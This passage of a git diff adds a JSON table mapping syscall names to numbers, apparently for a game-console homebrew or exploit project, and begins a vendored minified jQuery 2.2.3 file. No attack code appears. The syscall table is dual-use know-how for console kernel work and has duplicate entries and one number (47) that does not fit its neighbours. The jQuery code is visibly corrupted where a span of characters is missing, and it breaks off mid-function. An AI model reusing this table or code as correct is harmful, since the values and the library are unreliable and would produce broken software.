102, + "sys_bind": 104, + "sys_setsockopt": 105, + "sys_listen": 106, + "sys_recvmsg": 113, + "sys_sendmsg": 114, + "sys_gettimeofday": 116, + "sys_getrusage": 117, + "sys_getsockopt": 118, + "sys_readv": 120, + "sys_writev": 121, + "sys_settimeofday": 122, + "sys_fchmod": 124, + "sys_recvfrom": 125, + "sys_setreuid": 126, + "sys_setregid": 127, + "sys_rename": 128, + "sys_flock": 131, + "sys_sendto": 133, + "sys_shutdown": 134, + "sys_socketpair": 135, + "sys_mkdir": 136, + "sys_rmdir": 137, + "sys_utimes": 138, + "sys_adjtime": 140, + "sys_getpeername": 141, + "sys_setsid": 147, + "sys_sysarch": 165, + "sys_setegid": 182, + "sys_seteuid": 183, + "sys_fstat": 189, + "sys_lstat": 190, + "sys_pathconf": 191, + "sys_fpathconf": 192, + "sys_getrlimit": 194, + "sys_setrlimit": 195, + "sys_getdirentries": 196, + "sys___sysctl": 202, + "sys_mlock": 203, + "sys_munlock": 204, + "sys_futimes": 206, + "sys_poll": 209, + "sys_clock_gettime": 232, + "sys_clock_settime": 233, + "sys_clock_getres": 234, + "sys_ktimer_create": 235, + "sys_ktimer_delete": 236, + "sys_ktimer_settime": 237, + "sys_ktimer_gettime": 238, + "sys_ktimer_getoverrun": 239, + "sys_nanosleep": 240, + "sys_rfork": 251, + "sys_issetugid": 253, + "sys_getdents": 272, + "sys_preadv": 289, + "sys_pwritev": 290, + "sys_getsid": 310, + "sys_aio_suspend": 315, + "sys_mlockall": 324, + "sys_munlockall": 325, + "sys_sched_setparam": 327, + "sys_sched_getparam": 328, + "sys_sched_setscheduler": 329, + "sys_sched_getscheduler": 330, + "sys_sched_yield": 331, + "sys_sched_get_priority_max": 332, + "sys_sched_get_priority_min": 333, + "sys_sched_rr_get_interval": 334, + "sys_utrace": 335, + "sys_sigprocmask": 340, + "sys_sigprocmask": 340, + "sys_sigsuspend": 341, + "sys_sigpending": 343, + "sys_sigtimedwait": 345, + "sys_sigwaitinfo": 346, + "sys_kqueue": 362, + "sys_kevent": 363, + "sys_uuidgen": 392, + "sys_sendfile": 393, + "sys_fstatfs": 397, + "sys_ksem_close": 400, + "sys_ksem_post": 401, + "sys_ksem_wait": 402, + "sys_ksem_trywait": 403, + "sys_ksem_init": 404, + "sys_ksem_open": 405, + "sys_ksem_unlink": 406, + "sys_ksem_getvalue": 407, + "sys_ksem_destroy": 408, + "sys_sigaction": 416, + "sys_sigreturn": 417, + "sys_getcontext": 421, + "sys_setcontext": 422, + "sys_swapcontext": 423, + "sys_sigwait": 429, + "sys_thr_create": 430, + "sys_thr_exit": 431, + "sys_thr_self": 432, + "sys_thr_kill": 433, + "sys_ksem_timedwait": 441, + "sys_thr_suspend": 442, + "sys_thr_wake": 443, + "sys_kldunloadf": 444, + "sys__umtx_op": 454, + "sys__umtx_op": 454, + "sys_thr_new": 455, + "sys_sigqueue": 456, + "sys_thr_set_name": 464, + "sys_rtprio_thread": 466, + "sys_pread": 475, + "sys_pwrite": 476, + "sys_mmap": 477, + "sys_lseek": 478, + "sys_truncate": 479, + "sys_ftruncate": 480, + "sys_thr_kill2": 481, + "sys_shm_open": 482, + "sys_shm_unlink": 483, + "sys_cpuset_getid": 486, + "sys_cpuset_getaffinity": 487, + "sys_cpuset_setaffinity": 488, + "sys_openat": 499, + "sys_pselect": 522, + + "sys_regmgr_call": 532, + "sys_jitshm_create": 533, + "sys_jitshm_alias": 534, + "sys_dl_get_list": 535, + "sys_dl_get_info": 536, + "sys_dl_notify_event": 537, + "sys_evf_create": 538, + "sys_evf_delete": 539, + "sys_evf_open": 540, + "sys_evf_close": 541, + "sys_evf_wait": 542, + "sys_evf_trywait": 543, + "sys_evf_set": 544, + "sys_evf_clear": 545, + "sys_evf_cancel": 546, + "sys_query_memory_protection": 47, + "sys_batch_map": 548, + "sys_osem_create": 549, + "sys_osem_delete": 550, + "sys_osem_open": 551, + "sys_osem_close": 552, + "sys_osem_wait": 553, + "sys_osem_trywait": 554, + "sys_osem_post": 555, + "sys_osem_cancel": 556, + "sys_namedobj_create": 557, + "sys_namedobj_delete": 558, + "sys_set_vm_container": 559, + "sys_debug_init": 560, + "sys_suspend_process": 561, + "sys_resume_process": 562, + "sys_opmc_enable": 563, + "sys_opmc_disable": 564, + "sys_opmc_set_ctl": 565, + "sys_opmc_set_ctr": 566, + "sys_opmc_get_ctr": 567, + "sys_budget_create": 568, + "sys_budget_delete": 569, + "sys_budget_get": 570, + "sys_budget_set": 571, + "sys_virtual_query": 572, + "sys_mdbg_call": 573, + "sys_sblock_create": 574, + "sys_sblock_delete": 575, + "sys_sblock_enter": 576, + "sys_sblock_exit": 577, + "sys_sblock_xenter": 578, + "sys_sblock_xexit": 579, + "sys_eport_create": 580, + "sys_eport_delete": 581, + "sys_eport_trigger": 582, + "sys_eport_open": 583, + "sys_eport_close": 584, + "sys_is_in_sandbox": 585, + "sys_dmem_container": 586, + "sys_get_authinfo": 587, + "sys_mname": 588, + "sys_dynlib_dlopen": 589, + "sys_dynlib_dlclose": 590, + "sys_dynlib_dlsym": 591, + "sys_dynlib_get_list": 592, + "sys_dynlib_get_info": 593, + "sys_dynlib_load_prx": 594, + "sys_dynlib_unload_prx": 595, + "sys_dynlib_do_copy_relocations": 596, + "sys_dynlib_prepare_dlclose": 597, + "sys_dynlib_get_proc_param": 598, + "sys_dynlib_process_needed_and_relocate": 599, + "sys_sandbox_path": 600, + "sys_mdbg_service": 601, + "sys_randomized_path": 602, + "sys_rdup": 603, + "sys_dl_get_metadata": 604, + "sys_workaround8849": 605, + "sys_is_development_mode": 606, + "sys_get_self_auth_info": 607, + "sys_dynlib_get_info_ex": 608, + "sys_budget_get_ptype": 610, + "sys_budget_getid": 609, + "sys_get_paging_stats_of_all_threads": 611, + "sys_get_proc_type_info": 612, + "sys_get_resident_count": 613, + "sys_prepare_to_suspend_process": 614, + "sys_get_resident_fmem_count": 615, + "sys_thr_get_name": 616, + "sys_set_gpo": 617, + "sys_thr_suspend_ucontext": 632, + "sys_thr_resume_ucontext": 633, + "sys_thr_get_ucontext": 634 +} \ No newline at end of file diff --git a/data/utils/jquery.min.js b/data/utils/jquery.min.js new file mode 100644 index 0000000..b8c4187 --- /dev/null +++ b/data/utils/jquery.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.2.3 | (c) jQuery Foundation | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.3",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isPlainObject:function(a){var b;if("object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype||{},"isPrototypeOf"))return!1;for(b in a);return void 0===b||k.call(a,b)},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=d.createElement("script"),b.text=a,d.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:h.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(d=e.call(arguments,2),f=function(){return a.apply(b||this,d.concat(e.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var 